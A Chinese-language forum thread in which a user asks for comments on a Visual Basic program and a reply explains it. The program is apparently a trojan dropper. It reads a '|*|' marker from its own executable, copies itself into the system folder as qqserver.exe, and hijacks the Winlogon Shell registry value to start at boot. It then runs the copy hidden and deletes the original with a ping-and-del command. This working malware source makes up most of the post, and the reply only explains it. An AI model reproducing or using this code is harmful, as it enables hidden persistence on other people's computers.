【求助】马兄，帮我注释这段代码吧，谢谢啦
<div style="FONT-SIZE: 12px">这段代码困扰我很长时间，帮忙注释一下<br/>谢谢啦<br/>特别是这句：<br/>If InStr(StrConv(FileArray, vbUnicode), "|*|") <= 0 Then<br/>这里面的文件是自己写的这个文件还是qqserer.exe？<br/>谢谢你了<br/><br/><br/>Private Declare Function GetModuleFileName Lib _<br/> "kernel32" Alias "GetModuleFileNameA" ( _<br/> ByVal hModule As Long, _<br/> ByVal lpFileName As String, ByVal nSize As Long) As Long<br/>Private Declare Function GetSystemDirectory Lib _<br/> "kernel32" Alias "GetSystemDirectoryA" ( _<br/> ByVal lpBuffer As String, _<br/> ByVal nSize As Long) As Long<br/><br/>Private Sub Form_Load()<br/>On Error Resume Next<br/> Dim FileArray() As Byte, SplitLine() As String, ExePath As String<br/><br/> Open GetMyFileName For Binary Access Read As #1 '读取要感染的问件内容<br/> ReDim FileArray(FileLen(GetMyFileName) - 1)<br/> Get #1, , FileArray<br/> Close #1<br/> <br/> ExePath = GetSystemPath & "\qqserver.exe"<br/> If InStr(StrConv(FileArray, vbUnicode), "|*|") <= 0 Then<br/> End<br/> ElseIf Fso.FileExists(ExePath) = False Then<br/> RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe " & ExePath, "REG_SZ"<br/> Fso.CopyFile GetMyFileName, ExePath, False<br/> Shell ExePath, 0<br/> Shell "cmd /c ping 127.0.0.1&&del /f /q /a:- " & """" & GetMyFileName & """", 0 '首次运行删除自身<br/> End<br/> End If<br/>End Sub<br/><br/>Private Function GetMyFileName() As String<br/>On Error Resume Next<br/> Dim tmp As String * 255<br/> GetMyFileName = Mid(tmp, 1, GetModuleFileName(0, tmp, 255))<br/>End Function<br/><br/>Private Function GetSystemPath() As String<br/>On Error Resume Next<br/> Dim SystemPath As String<br/> SystemPath = String(255, Chr(0))<br/> GetSystemDirectory SystemPath, 254<br/> SystemPath = Left(SystemPath, InStr(SystemPath, Chr(0)) - 1)<br/> GetSystemPath = SystemPath<br/>End Function</div><br/><br/> <p>启动时先把自己的内容读入内存:</p><p> </p>
<p> Open GetMyFileName For Binary Access Read As #1 '读取要感染的问件内容<br/> ReDim FileArray(FileLen(GetMyFileName) - 1)<br/> Get #1, , FileArray<br/> Close #1</p>
<p> </p>
<p>然后再判断是否有某个关键字的存在:</p>
<p> </p>
<p>If InStr(StrConv(FileArray, vbUnicode), "|*|") <= 0 Then</p>
<p> </p>
<p>如果不存在,则退出执行,否则复制一份自己到系统某处,并写入自动启动,最后将当前的自己删除.....</p>
<p> </p>
<p>看起来就是个在自己的尾巴里写参数的EXE,用记事本打开这个EXE应该能看到参数,标志就是|*|.</p>
<p> </p>
<p>至于注释里的"读取要感染的问件内容",要么是代码没贴全,感染部分没贴上来;要么这份代码的作者连什么是"感染"都不清楚....或者....他认为这是"感染系统"- -!</p>
页:
[1]